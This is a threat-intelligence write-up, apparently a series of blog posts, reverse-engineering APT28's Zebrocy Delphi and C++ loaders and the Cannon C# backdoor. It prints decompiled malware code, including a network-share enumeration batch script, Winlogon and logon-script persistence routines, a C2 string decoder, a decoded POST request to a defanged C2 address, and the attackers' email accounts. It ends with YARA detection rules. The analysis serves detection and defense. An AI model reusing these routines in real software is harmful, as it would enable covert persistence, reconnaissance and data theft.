IV. Zebrocy TForm1 Configurations
IV. Yara Signature

I. Background & Summary
APT28, also known as Sofacy, Fancy Bear, STRONTIUM, Pawn Storm, Sednit, continues to be very active lately targeting various government and political entities throughout 2018. Before diving deeper into the latest Zebrocy samples, I highly recommend reading ESET blog titled “Sednit: What’s going on with Zebrocy?” and Palo Alto Unit 42 one titled “Dear Joohn: The Sofacy Group’s Global Campaign.”
The Zebrocy Delphi variants serve as loaders and backdoors collecting victim information. They are occasionally UPX packed, store their configurations data in the resource section “RCData” as “TForm1” class. As a general rule, forms in Delphi are defined by the TForm class. The analyzed samples revealed malware version progression from 6.02 to 7.0 with the modified Timer objects and registry key and software information collection methods to scanning hosts for documents, archives, images, database, and configurations files.
Additionally, one of the oddities includes the hexadecimal art representation in Icon.Data object of TForm1.

The Python code obtains the resource as follows:

'''
Extract APT28 Zebrocy TForm1 Delphi Code from binary resource section
@VK_Intel
'''
import pefile
pe = pefile.PE("<PATH_TO_ZEBROCY")

# store our tform1_struct
tform1_struct = ""
offset = 0x0
size = 0x0

for rsrc in pe.DIRECTORY_ENTRY_RESOURCE.entries:
for entry in rsrc.directory.entries:
if entry.name is not None:
print(entry.name)
# search for TFORM1 resource
if entry.name.__str__() == "TFORM1":
offset = entry.directory.entries[0].data.struct.OffsetToData
size = entry.directory.entries[0].data.struct.Size


tform1_struct = pe.get_memory_mapped_image()[offset:offset+size]
print(tform1_struct)

The code output response is as follows:

DVCLAL
L30
LIBEAY32
PACKAGEINFO
PLATFORMTARGETS
SSLEAY32
TFORM1
MAINICON
b'TPF0\x06TForm1\x05Form1\x04Left\x02\x00\x03Top\x02\x00\x0cClientHeight\x03\x7f\x01\x0bClientWidth\x03\xc9\x01\x05Color\x07\tclBtnFace\x0cFont.Charset\x07\x0fDEFAULT_CHARSET...

Notably, the configuration contains all imported necessary SSL libraries LIBEAY32 and SSLEAY32, DVCLAL and L30 config, package info (contains Windows API utility code), and, most importantly, TForm1 Delphi main code.
The TForm1 resource is the main processor for the Window setting and creating objects TLabel, TEdit, and TMemo, which are descriptive of the malware functionality.
II. Zebrocy Delphi Malware: Version 6.0.2

For example, here is the code setting the Window and creating main victim collection and keylogger functionality and possible network domain parser module, taken from Zebrocy version 6.02
(0a6c1db916ac8ddf0ef67196279e12d163e07969d9cc68c0aed6b63d11f76d6c):

///////////////////////////////////////////////////
////// APT28 Zebrocy Malware TForm1 Class /////////
///////////////////////////////////////////////////
object Form1: TForm1
Left = 0
Top = 0
ClientHeight = 358
ClientWidth = 509
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 13
object c: TLabel
Left = 428
Top = 232
Width = 38
Height = 13
Caption = 'KEYLOG' // keylogger object
end
object Label2: TLabel
Left = 417
Top = 197
Width = 49
Height = 13
Caption = 'SYS_INFO' // machine system info object
end
object Memo3: TMemo
Left = 0
Top = 179
Width = 445
Height = 179 // network domain collector and parser object
Lines.Strings = (
'@ECHO OFF'
'FOR /F "tokens=1 delims=\ " %%n IN ('#39'net view^|FIND "\\"'#39') DO ('

' FOR /F "tokens=2 delims=[]" %%i IN ('#39'ping -a -n 1 -w 0 %%n^|FI' +
'ND "["'#39') DO ('
' ECHO %%i %%n>>1.txt'

' FOR /F "tokens=1,2,3,4 delims= " %%a IN ('#39'net view \\%%n^|FI' +
'ND " "'#39') DO ('
' IF "%%b"=="Disk" ('
' ECHO %%b: \\%%n\%%a>>1.txt'
' ) ELSE ('

' IF "%%b"=="Print" ECHO %%b: \\%%n\%%a>>1.t' +
'xt'
' )'
' )'
' )'
')')
TabOrder = 17
Visible = False
end

The malware drops a batch script to collect network domain information and saving it locally for exfiltration.

The observed TTimer timer objects (Enabled, OnTimer, Interval Parameters) code is as follows:

///////////////////////////////////////////////////
/// APT28 Zebrocy Malware Delphi Timer Class //////
///////////////////////////////////////////////////
object Timer_post: TTimer
Enabled = False
OnTimer = Timer_postTimer
Left = 144
end
object Timer_hello: TTimer
Enabled = False
Interval = 900000 // 900 seconds or 15 minutes interval
OnTimer = Timer_helloTimer
Left = 208
end
object Timer_scan: TTimer
Enabled = False
OnTimer = Timer_scanTimer
Left = 272
end
object Timer_all: TTimer
Enabled = False
Interval = 6000 // 6 seconds interval
OnTimer = Timer_allTimer
Left = 328
end

The all observed unique timer objects are as follows:

Timer_FirstTimer -> Interval 5000 miliseconds
Timer_handlTimer -> Interval 5000 miliseconds
Timer_SCRTimer -> Interval 60000 miliseconds
Timer_keyTimer -> Interval 120000 miliseconds
Timer_dsetTimer -> Interval 10000 miliseconds
Timer_mainTimer -> Interval 60000 miliseconds
Timer_allTimer -> Interval 6000 miliseconds
Timer_helloTimer -> Interval 900000 miliseconds
Timer_postTimer
Timer_scanTimer
Timer_lodsbTimer
Timer_downlTimer
Timer_regTimer
Timer_uplTimer
Timer_LogsTimer
Timer_DelTimer
Timer_SCRLDTimer

The POP3/SMTP mechanism is as follows:

///////////////////////////////////////////////////
/// APT28 Zebrocy Delphi SMTP/POP3/SSL Class //////
///////////////////////////////////////////////////
object IdPOP31: TIdPOP3
AutoLogin = True
SASLMechanisms =
Left = 272
Top = 112
end
object IdSMTP1: TIdSMTP
SASLMechanisms =
Left = 328
Top = 112
end
object IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL
MaxLineAction = maException
Port = 0
DefaultPort = 0
SSLOptions.Mode = sslmUnassigned
SSLOptions.VerifyMode = []
SSLOptions.VerifyDepth = 0
Left = 272
Top = 168
end
end

III. Zebrocy Delphi Malware: Version 7.00
Zebrocy Version 7.0
(SHA-256: 215f7c08c2e3ef5835c7ebc9a329b04b8d5215773b7ebfc9fd755d93451ce1ae):

The latest malware version includes the TLab scan object scanning for Microsoft Word, Microsoft Excel, Microsoft PowerPoint, PDF, archives (.rar, .zip) and image files (.jpg, bmp, tiff). Additionally, it also parses for configuration and database files (e.g,, .dat, .json, .db).

///////////////////////////////////////////////////
/// APT28 Zebrocy Delphi Special File Searcher ////
///////////////////////////////////////////////////
object scan1: TLabel
Left = 8
Top = 8
Width = 154
Height = 13
// Scanner for documents
Caption = 'scan {all} *.docx, *.xlsx, *.pdf,' // Scan for MS Word, Excel, PDF
end
object scan2: TLabel
Left = 168
Top = 8
Width = 129
Height = 13
 // Scanner for documents, archives, & images

Caption = '*.pptx, *.rar, *.zip, *.jpg,' // Scan for Powerpoint, archive, JPG imageendobject scan3: TLabel Left = 8 Top = 27 Width = 68 Height = 13 // Scanner for images Caption = '*.bmp, *.tiff /' // Scan for BMP and TIFF imageend... object Label3: TLabel Left = 8 Top = 46 Width = 147 Height = 13 // Scanner for configurations and database files Caption = 'scan {all} *.dat, *.json, *.db /' // Scan for .DAT, .JSON, .db end...

Additionally, it adds the key in “HKCU\Environment\UserInitMprLogonScript” as itself for persistency.

///////////////////////////////////////////////////
/// APT28 Zebrocy Delphi HKCU Registry Persistr ///
///////////////////////////////////////////////////
object Button2: TButton
Left = 309
Top = 3
Width = 122
Height = 25
Caption = 'HKCU\Environment'
TabOrder = 6
end
object Button3: TButton
Left = 310
Top = 34
Width = 122
Height = 25
Caption = 'UserInitMprLogonScript'
Tab

The all observed unique Timer objects are as follows (TTimer Timer Objects (Enabled, OnTimer, Interval parameters):

Timer_FirstTimer -> Interval 5000 miliseconds
Timer_taskTimer -> Interval 90000 miliseconds
Timer_sendTimer -> Interval 120000 miliseconds
Timer_SCRTimer -> Interval 120000 miliseconds
Timer_OTimer -> Interval 28800000 miliseconds
Timer_postTimer
Timer_mainTimer

The observed mail companies used for command-and-cotrol communications and exfiltration:

Leveraged Mail Servers:
ambcomission[.]com
seznam[.]cz
post[.]cz
india[.]com
Email Accounts:
tomasso25@ambcomission[.]com
kevin30@ambcomission[.]com
salah444@ambcomission[.]com
rishit333@ambcomission[.]com
karakos3232@seznam[.]cz
antony.miloshevich128@seznam[.]cz
b.huacop11@india[.]com
trasler22@ambcomission[.]com
trash023@ambcomission[.]com

IV. Zebrocy TForm1 Configurations
A. Zebrocy v6.02 TForm1 Config
(SHA-256: 0a6c1db916ac8ddf0ef67196279e12d163e07969d9cc68c0aed6b63d11f76d6c):

KEYLOG
SYS_INFO
@ECHO OFF
FOR /F "tokens=1 delims=\ " %%n IN ('net view^|FIND "\\"')
DO (M FOR /F "tokens=2 delims=[]" %%i IN ('ping -a -n 1 -w 0 %%n^|FIND "["')
DO ( ECHO %%i %%n>>1.txt S FOR /F "tokens=1,2,3,4 delims= " %%a IN ('net view \\%%n^|FIND " "')
DO ( IF "%%b"=="Disk" (0 ECHO %%b: \\%%n\%%a>>1.txt )
ELSE (IF "%%b"=="Print"
ECHO %%b: \\%%n\%%a>>1.txt ) ) ))
ddr3
*\Software\Microsoft\Windows\CurrentVersion
C:\Users\Public\dset.ini
ProductId
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\CurrentVersion\Run
libeay32.dll
ssleay32.dll
p.bin
v6.02
GET_NETWORK

B. Zebrocy v7.00 TForm1 Config
(SHA-256: 215f7c08c2e3ef5835c7ebc9a329b04b8d5215773b7ebfc9fd755d93451ce1ae):

KEYLOG
SYS_INFO
!scan {all} *.docx, *.xlsx, *.pdf, *.pptx, *.rar, *.zip, *.jpg, *.bmp, *.tiff /
adr_for_scan
C:\Users\Public\officeexcp.bin
KLA
C:\Users\Public\kla.bin
scan {all} *.dat, *.json, *.db /
eg add
EG_EXPAND
eg delete
GET_NETWORK
HKCU\Environment\UserInitMprLogonScript
v7.00
libeay32.dll
ssleay32.dll

C. Zebrocy v7.00 TForm1 Config 
(SHA-256: ae6326a8b0297dc6eff583f2305abaeab0347a3aef95fc51c5d76708cf32b73f)

SYS_INFO
eg add
EG_EXPAND
eg delete
C:\Users\Public\dset.ini
p.bin
v7.00
ssleay32.dll
libeay32.dll
C:\Users\Public\boot.ini
UserInitMprLogonScript
HKCU\Environment

One of the oddities related to the Zebrocy malware (SHA-256: ae6326a8b0297dc6eff583f2305abaeab0347a3aef95fc51c5d76708cf32b73f) includes Icon.Data {} object with the hexadecimal art.

V. Yara Signature 

rule apt28_win32_zebrocy_loader {
meta:
author = "@VK_Intel"
reference = "Detects Zebrocy Component"
date = "2018-12-14"
strings:
$s1 = "Timer_postTimer" fullword wide ascii
$s2 = "Timer_mainTimer" fullword ascii wide
$s3 = "Timer_FirstTimer" fullword ascii wide
$s4 = "UserInitMprLogonScript" fullword ascii wide
$s5 = "KEYLOG" fullword ascii wide
$s6 = "SYS_INFO" fullword ascii wide
$s7 = "EG_EXPAND" fullword ascii wide
$s8 = "HKCU\\Environment" fullword ascii wide
$s9 = "C:\\Users\\Public\\" fullword ascii wide
$s10 = "scan {all}" fullword ascii wide
      $r0 = "L30" fullword ascii wide
$r1 = "LIBEAY32" fullword ascii wide
$r2 = "TFORM1" fullword ascii wide
$r3 = "SSLEAY32" fullword ascii wide
$r4 = "DVCLAL" fullword ascii wide
$r5 = "PACKAGEINFO" fullword ascii wide
   condition:
( uint16(0) == 0x5a4d and
( all of them )
or ( 3 of ($s*) and 2 of ($r*) ) or ( all of ($r*) and 2 of ($s*) ) )

}

Let’s Learn: Reviewing Sofacy’s "Zebrocy" C++ Loader: Advanced Insight

GoalAnalyze and reverse engineer one of the “Zebrocy” C++ loader samples attributed to Sofacy/Sednit/APT28 group. By and large, Zebrocy is a widely-used first-stage loader in the recent campaigns (especially in its Delphi version). This loader was discovered and documented by Palo Alto Unit 42.

https://platform.twitter.com/widgets.js

Source:

Zebrocy Loader C++ x86 (32-bit) Version: bf0fea133818387cca7eaef5a52c0aed
Outline:

I. Background & Summary
II. Zebrocy Loader C++ x86 (32-bit) Version: WinMain function
A. Nvidia Setup Procedure
B. Zebrocy "MainCaller" Function
C. "EnterDecoder" Function
D. Zebrocy "recv" Processor: "-1" & "0009" Commands
E. Zebrocy Install and Execute Next Stage
III. Yara Signature
 I. Background & Summary
Sofacy’s “Zebrocy” loader appears to be popular for the past few years deployed by the group. I decided to take a look at the C++ version of the loader as it was documented by Palo Alto Unit 42 in order to review its functionality in-depth and document it, as well as, to create a Yara rule detection for it.
Before reading further, I recommend reviewing the article titled “Sofacy Group’s Parallel Attacks,” authored by Unit42. This article documents the discovery of this C++ loader. Reportedly, Unit42 retrieved this payload as a loader from another Zebrocy Delphi version, which first-stage was a “phishing email sent to a foreign affairs organization within a Central Asian country.”
It is notable that this loader was written in C++ with the apparent usage of header library, for example, for writing input/output as fwrite API.
The loader also mimics itself as “Nvidia” installer displaying the message “NVidiaSetup 98% comp” while displayed with 0x0 pixels in the bottom right corner. By and large, the loader is rather unpacked and rather unsophisticated; it deploys rather interesting transposition to hex to ASCII decoding routine and executing next stage via ShellExecuteA.
II. Zebrocy Loader C++ 32-bit (x86) Version: WinMain function

The loader, originally named “snvmse.exe,” essentially sets up a window with the procedure displaying the text “NVidiaSetup 98% comp” via BeginPaint, TextOutW, and EndPaint. The window class is titled “win32app” with the window name “Application_Win32” via CreateWindowExW. The Zebrocy malware creates a window in the bottom right with height 0x0 and width 0x0. 

The shortened WinMain C++ pseudo-coded function as follows:
//////////////////////////////////////////////////////////////
///////////////// Zebrocy WinMain Function ///////////////////
/////////////////////////////////////////////////////////////
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
v16.cbSize = 48;
v16.style = 3;
v16.lpfnWndProc = NvidiaSetupMsg; // Draw fake "Nvidia" install message
v16.cbClsExtra = 0;
v16.cbWndExtra = 0;
v16.hInstance = hInstance;
v16.hIcon = LoadIconW(hInstance, (LPCWSTR)0x7F00);
v16.hCursor = LoadCursorW(0, (LPCWSTR)0x7F00);
v16.hbrBackground = (HBRUSH)6;
v16.lpszMenuName = 0;
v16.lpszClassName = L"win32app";
v16.hIconSm = LoadIconW(hInstance, (LPCWSTR)0x7F00);
if ( !RegisterClassExW(&v16) )
return 1;
dword_42A84C = (int)hInstance;
GetVolumeInfoMain((int)&v23); // Retrieve serial number from disc "C:\\"
v17 = &v9;
GetComputerName((int)&v9); // Retrieve computer name
bit_func_Main_((int)&v19, v9, v10, v11, v12, v13, v14);
v15 = &Rect;
v4 = GetDesktopWindow();
GetWindowRect(v4, v15);
v5 = CreateWindowExW(
0x80088u, // dwExStyle =
// WS_EX_TOPMOST|WS_EX_TOOLWINDOW|WS_EX_LAYERED
L"win32app", // lpClassName
L"Application_Win32", // lpWindowName
0xCA0000u, // dwStyle
// WS_OVERLAPPED|WS_MINIMIZEBOX|WS_SYSMENU|WS_CAPTION
Rect.right, // X.right
Rect.bottom, // Y.bottom
0, // nWidth = 0
0, // nHeight = 0
0, // hWndParent = NULL
0, // hMenu = NULL
hInstance, // hInstance
0); // lpParam = NULL
v6 = v5;
if ( !v5 )
{
if ( v21 >= 16 )
val(v19);
v21 = 15;
v20 = 0;
LOBYTE(v19) = 0;
if ( v24 >= 16 )
val(v23);
return 1;
}
ShowWindow(v5, nShowCmd);
UpdateWindow(v6);
Sleep(3000u);
if ( ZebrocyMainCaller() == 1 )
{
KillTimer(v6, 1u);
PostQuitMessage(0);
}
while ( GetMessageW(&Msg, 0, 0, 0) )
{
TranslateMessage(&Msg);
DispatchMessageW(&Msg);
}
v8 = Msg.wParam;
if ( v21 >= 0x10 )
val(v19);
v21 = 15;
v20 = 0;
LOBYTE(v19) = 0;
if ( v24 >= 16 )
val(v23);
return v8;
}

The machine ID is calculated via obtaining a serial number from GetVolumeInfoMain (with the label “C:\”) and the return of GetComputerName API.
A. Nvidia Setup Procedure
The so-called LRESULT “NvidiaSetupMsg” function leverages messages with timers to paint the text box leveraging BeginPaint, unicode TextOutW, and EndPaint and WM_PAINT message.

The shortened C++ pseudo-coded function is follows:
//////////////////////////////////////////////////////////////
//////////////// Zebrocy NvidiaSetupMsg Function ////////////
/////////////////////////////////////////////////////////////
LRESULT __stdcall NvidiaSetupMsg(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
qmemcpy(&NVidia, L"NVidiaSetup 98% comp", 42u);
if ( Msg > 15 ) // WM_PAINT = 15
{
if ( Msg != 275 ) // WM_TIMER = 275
return DefWindowProcW(hWnd, Msg, wParam, lParam);
if ( ZebrocyMainCaller() == 1 ) // Main Zebrocy Caller Function
{
KillTimer(hWnd, 1u);
LABEL_12:
PostQuitMessage(0);
return 0;
}
}
else if ( Msg == 15 ) // WM_PAINT = 15
{
v4 = BeginPaint(hWnd, &Paint);
TextOutW(v4, 5, 5, &NVidia, wcslen(&NVidia));
EndPaint(hWnd, &Paint);
}
else
{
if ( Msg != 1 ) // WM_CREATE = 1
{
if ( Msg == 2 ) // WM_DESTROY = 2
goto LABEL_12;
return DefWindowProcW(hWnd, Msg, wParam, lParam);
}
SetTimer(hWnd, 1u, 200000u, 0);
}
return 0;
}

B. Zebrocy “MainCaller” Function

The Zebrocy main caller function utilizes the Winsock API library to call the controller domain. It also contains the decoder and string processor functions.
The main function is as follows:

WSAStartup -> socket -> enter_decoder -> string_processor -> decoder 
-> WSACleanup -> inet_addr -> htons -> connect -> enter_decoder -> send 
-> closesocket -> shutdown -> recv -> Sleep

C. Zebrocy “EnterDecoder” Function

The Zebrocy malware leverages two functions to process and decoding encoded “[@A-Z]” blobs.
The full decoded blobs are as follows:
str_processor((int)&encoded_value, "CCICUB@CECUBECBCUBECHCAC", 24u);
// 185[.]25[.]50[.]93
str_processor((int)&encoded_value, "@BQCHFDGGFUFEFSDTBDGUFEFDGUFVFCDUFSEBGSEDFEFDFVFCFUFEFSFBGEGTBTFBGVFFFTBGGGGGGTBHGVBUFVFIFDGAFCFIFSF@G@GAF@BQCEF@GIGDETBDGUFEFDGUFVFCDUFSEBGSECCICUB@CECUBECBCUBECHCAC@BQCDGCGVFHDUFSEBGSEACUBACVB@EDEDEHD@B@GHF@GUBSFVFCFVFDGVFBG@GVBEGBCACHCHCDFRFVB@GSFEFHFCGIGCGVBCCICUB@CECUBECBCUBECHCACVBVBQC@GDGDGHF@BDECEVD@E", 310u);
/*POST hxxp://185[.]25[.]50[.]93/syshelp/kd8812u/protocol[.]php\n
Host: 185[.]25[.]50[.]93\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length:
*/
str_processor((int)&encoded_value, "TCGFBGVF@G", 10u);
// porg=
processor((int)&encoded_value, "@BQCHFDGGFUFEFSDTBDGUFEFDGUFVFCD");
// "Content-Length: "

Their decoding works as by transposing the encoded blob, then converting it into hex and decoding hex into ASCII.
For example, we can confirm the hex decoding routine as follows:

>>> "3138352E32352E35302E3933".decode("hex") # defanged
'185[.]25[.]50[.]93'

The simplified transposition preparing the conversion to hex is pseudo-coded as follows:

///////////////////////////////////////////////////////////////////////  
///////////////// Intitial Zebrocy Decoder Prepare First ///////////////
///////////////////////////////////////////////////////////////////////
encoded = (char *)holder_for_encoded;
if ( v38 < 16 )
encoded = (char *)&holder_for_encoded;
v8 = &encoded[v37];
v9 = (char *)holder_for_encoded;
if ( v38 < 16 )
v9 = (char *)&holder_for_encoded;
for ( ; v9 != v8; *v8 = v10 )
{
if ( v9 == --v8 )
break;
v10 = *v9;
*v9++ = *v8;
}
v35 = 15;
v34 = 0;
LOBYTE(v33) = 0;
LOBYTE(v42) = 3;
for ( i = 0; i < v37; ++i )
{
encoded_1 = holder_for_encoded;
if ( v38 < 16 )
encoded_1 = &holder_for_encoded;
except_result(encoded_1[i] - 16, (int)&v33);
}

D. Zebrocy “recv” Processor: “-1” & “0009” Commands
As noted by Palo Alto Unit42, the Zebrocy loader has logic to retrieve input from the server to process the following two commands:

-1
0009

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px ‘Andale Mono’; color: #2fff12; background-color: #000000; background-color: rgba(0, 0, 0, 0.9)} span.s1 {font-variant-ligatures: no-common-ligatures} In both of the cases, the loader proceeds to leverage “free” call and exits. The pseudocoded recv processor fragment is as follows:

////////////////////////////////////////////////
///// Zebrocy "recv" Processor Fragment ///////
///////////////////////////////////////////////
if ( processor_str("-1", (int)&flag_response) ) // possible cmd = "-1"
{
if ( v98 >= 16 )
free(flag_response);
v98 = 15;
v97 = 0;
LOBYTE(flag_response) = 0;
if ( v83 >= 16 )
free(v81);
v83 = 15;
v82 = 0;
LOBYTE(v81) = 0;
if ( v95 >= 16 )
free(post_request_1);
v95 = 15;
len = 0;
LOBYTE(post_request_1) = 0;
if ( v101 >= 16 )
free(cp);
v10 = v92 < 16;
v101 = 15;
v100 = 0;
LOBYTE(cp) = 0;
goto LABEL_29;
}
if ( processor_str("009", (int)&flag_response) ) // possible cmd = "009"
{
free_0((int)&flag_response);
free_0((int)&v81);
free_0((int)&post_request_1);
free_0((int)&cp);
free_0((int)&v90);
return 1;
}

E. Zebrocy Install and Execute Processor
Finally, the processor contains logic to install and execute the next payload stage retrieved via recv command. Notably, the loader leverages CreateDirectoryW API with fwrite API to install and write block of data to stream and save it locally, then it executes the presumed downloaded next stage via ShellExecuteA API call.
The pseudo-coded function is as follows:

III. Yara Signature

import "pe"

rule apt_sophacy_loader_zebrocy {
meta:
reference = "Detects Sofacy Zebrocy C++ loader"
author = "@VK_Intel"
date = "2018-12-08"
hash1 = "dd7e69e14c88972ac173132b90b3f4bfb2d1faec15cca256a256dd3a12b6e75d"
strings:
$dec_processor = { 55 8b ec 53 8b ?? ?? 56 8b f1 85 db 74 ?? 8b ?? ?? 83 f9 10 72 ?? 8b ?? eb ?? 8b c6 3b d8 72 ?? 83 f9 10 72 ?? 8b ?? eb ?? 8b c6 8b ?? ?? 03 d0 3b d3 76 ?? 83 f9 10 72 ?? 8b ?? 8b ?? ?? 51 2b d8 53}
$decoder1 = { 55 8b ec 6a ff 68 e9 f7 41 00 64 ?? ?? ?? ?? ?? 50 83 ec 64 a1 ?? ?? ?? ?? 33 c5 89 ?? ?? 53 56 50 8d ?? ?? 64 ?? ?? ?? ?? ?? 33 db 89 ?? ?? 89 ?? ?? 6a ff c7 ?? ?? ?? ?? ?? ?? 53 8d ?? ?? 50 8d ?? ?? c7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 88 ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? 8b c6 83 fa 10 73 ?? 8d ?? ??}
$decoder2 = { 33 db c7 ?? ?? ?? ?? ?? ?? 89 ?? ?? c6 ?? ?? ?? c6 ?? ?? ?? 89 ?? ?? 39 ?? ?? 76 ?? 83 ?? ?? ?? 8b ?? ?? 73 ?? 8d ?? ?? 8b ?? ?? 0f ?? ?? ?? 83 eb 10 8d ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? 40 89 ?? ?? 3b ?? ?? 72 ??}

condition:
( uint16(0) == 0x5a4d and
filesize < 500KB and
pe.imphash() == "287595010a7d7f2e14aec2068098ad43" and
( all of them )
) or ( 1 of ($decoder*) and $dec_processor)
}

Let’s Learn: In-Depth on Sofacy Cannon Loader/Backdoor Review

Goal: Review and practice analyzing C# code from the Sofacy Group new loader/backdoor called “Cannon” (as discovered by Palo Alto Unit 42 researchers).

https://platform.twitter.com/widgets.js Source:

Sofacy “Cannon” Loader/Backdoor
SHA256: 61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e
Outline:

I. Background & Summary
II. Cannon Classes
III. Cannon "Form1" Main Functions
A. “start_Tick”
B. “inf_Tick”
C. “txt_Tick”
D. “subject_Tick”
E. "run_Tick"
F. “load_Tick”
G. “screen_Tick”
H. "eTim_Tick"
IV. Yara Signature
I. Background & Summary
Before diving deeper, I highly recommend reading the original discovery and excellent research related to the “Cannon” malware by Palo Alto Unit 42 titled Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan.” As reported by Unit 42, Sofacy group leveraged malicious Microsoft Document themed as Lion Air disaster” to deliver the Cannon malware. By and large, according to Palo Alto Unit 42, Sofacy recent targeting includes “government organizations in the EU, US, and former Soviet states.”
Cannon is a rather simple but interesting C#-coded malware collecting victim information, receiving commands (controlled by EventHandler), and retrieving next stage via the SMTPS and POP3S. It is interesting that the malware original project “wsslc” program database (PDB) is associated with the possible user “Garry” with the “cannon” project path “C:\Users\Garry\Desktop\cannon\obj\x86\Debug\wsslc.pdb”. Notably, “Garry” is a common way for Russian speakers to phonetically spell out “Harry” stressing the “G” sound. The malware logic also checks for control email messages attachment files containing auddevc” via its “load_Tick” function possibly retrieving unidentified additional binaries. If found, the malware creates a file stream in the main directory and writes the file to the directory using BinaryWriter. Additionally, the malware creates a registry entry as “Shell” in “Winlogon” via “HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogonfor registry persistence.
It is also interesting that the malware authors chose to leverage Czech email provider @post.cz for communications and command control.
II. Cannon Classes
The binary contains the following five classes as follows:
Class Name Description
AUTH Initializes values for SMTPS and POP connection mF1, p1, mF2, p2, mF3, and p3
Form1 Loads the main functions and initializes the main flow of the binary
Lenor Loads auxiliary functions, retrieves information about victims and parses emails for commands
MDat Initializes values used for network communication
Program Starts the program and passes control to Form1
The main program starts running the Main function which checks whether the specified file “C:\Users\Public\Music\s.txt” exists, if yes, it starts “explorer.exe” If not, it sets up the EnableVisualStyles() and SetCompatibleTextRenderingDefault(defaultValue: false) and launches the “Run” command the command executing the “Form1” class.
The full function is as follows:

////////////////////////////////////////////////////////////////////
////////////////////// Cannon Malware Main "Program" ///////////////
////////////////////////////////////////////////////////////////////
internal static class Program
{
[STAThread]
private static void Main()
{
try
{
if (File.Exists("C:\\Users\\Public\\Music\\s.txt"))
{
Process.Start("explorer.exe");
}
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(defaultValue: false);
Application.Run(new Form1());
}
catch (Exception)
{
}
}
}

III. Cannon “Form1” Main Functions
Next, the class “Form1” starts with InitializeComponent(), which sets up all the variables and intervals with EventHandler for the main functions as detailed by Unit 42:

////////////////////////////////////////////////////////////////////
// Cannon Malware Sequence "Form1" Calls & Intervals //////////////
///////////////////////////////////////////////////////////////////
start.Interval = 1000;
start.Tick += new System.EventHandler(start_Tick);
inf.Interval = 300000;
inf.Tick += new System.EventHandler(inf_Tick);
txt.Interval = 120000;
txt.Tick += new System.EventHandler(txt_Tick);
subject.Interval = 120000;
subject.Tick += new System.EventHandler(subject_Tick);
run.Interval = 60000;
run.Tick += new System.EventHandler(run_Tick);
load.Interval = 120000;
load.Tick += new System.EventHandler(load_Tick);
screen.Interval = 10000;
screen.Tick += new System.EventHandler(screen_Tick);
eTim.Interval = 13000;
eTim.Tick += new System.EventHandler(eTim_Tick);

A. “start_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "start_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void start_Tick(object sender, EventArgs e)
{
try
{
start.Enabled = false;
Lenor lenor = new Lenor();
if (Directory.Exists("C:\\Users\\Public\\Music")
{
dir = "C:\\Users\\Public\\Music" + "\\";
}
else
{
dir = "C:\\Documents and Settings\\All Users\\Documents" + "\\";
}
att = dir + "auddevc.txt";
_id = lenor.id(dir);
if (!File.Exists(dir + "s.txt"))
{
lenor.Dir = dir;
lenor.Registration("\"HKCU\\Software\\Microsoft\\" +
"Windows NT\\CurrentVersion\\Winlogon\", "Shell");
File.WriteAllText(dir + "s.txt", "{SysPar = 65}");
}
inf.Enabled = true;
}
catch (Exception)
{
}
}

The “start_Tick” function checks if the application is launched with the interval of 1000 milliseconds or 1 second. The function checks if the directory “C:\Users\Public\Music” exists if not it uses the “C:\Documents and Settings\All Users\Documents” one.
Then, it concatenates the filename to the path as “auddevc.txt”. The function generates a bot ID (_id) leveraging the id function from the “Lenor” class (which calls another “SN” function from Lenor). The bot ID is generated by concatenating the results of the cmd command for volume name “vol C:” with machine username “Environment.UserName”. More specifically, the “Lenor.SN” function runs a command, for example, “vol C:>> C:\\Documents and Settings\\All Users\\Documents\99.txt” saving the output to a local file “99.txt” which is run via batch script “b.bat”; both files are removed right after the operation.

The “Lenor._id” function simply leverages the SN function and concatenates the full bot ID.

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "Id" Bot ID Generation /////////////
////////////////////////////////////////////////////////////////////
public string id("C:\\Documents and Settings\\All Users\\Documents")
{
string text = "";
string text2 = "";
string text3 = "";
string text4 = "";
volumename = SN("C:\\Documents and Settings\\All Users\\Documents", "C");
volumename = volumename.Trim();
username = Environment.UserName;
byte[] bytes = Encoding.Default.GetBytes(text4);
text4 = BitConverter.ToString(bytes);
username = text4.Replace("-", "");
full_id = volumename + username;

/*
public string SN(string "C:\\Documents and Settings\\All Users\\Documents", string name)
{
string text = "";
try
{
while (!File.Exists("C:\\Documents and Settings\\All Users\\Documents" + "\\99.txt"))
{
try
{
string contents = "vol " +
"C" + ":>>" + "C:\\Documents and Settings\\All Users\\Documents" + "\\99.txt";
File.WriteAllText("C:\\Documents and Settings\\All Users\\Documents" + "\\b.bat", contents);
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = d + "\\b.bat";
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
Process.Start(processStartInfo);
File.Delete(d + "\\b.bat");
}
catch (Exception)
{
}
}
text = File.ReadAllText(d + "\\99.txt");
string[] array = text.Split('\n');
text = array[1];
text = text.Substring(text.LastIndexOf(" "));
text = text.Remove(text.IndexOf('-'), 1);
File.Delete(d + "\\99.txt");
}
catch (Exception)
{
}
return text;
}
*/

For persistence, the malware checks if the directory contains “s.txt” file. If not, it registers itself in the following registry path:


HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\Shell

It also creates the file “s”.txt in the same local directory with “{SysPar = 65}” encoding.
B. “inf_Tick” 

/////////////////////////////////////////////////////////////////////
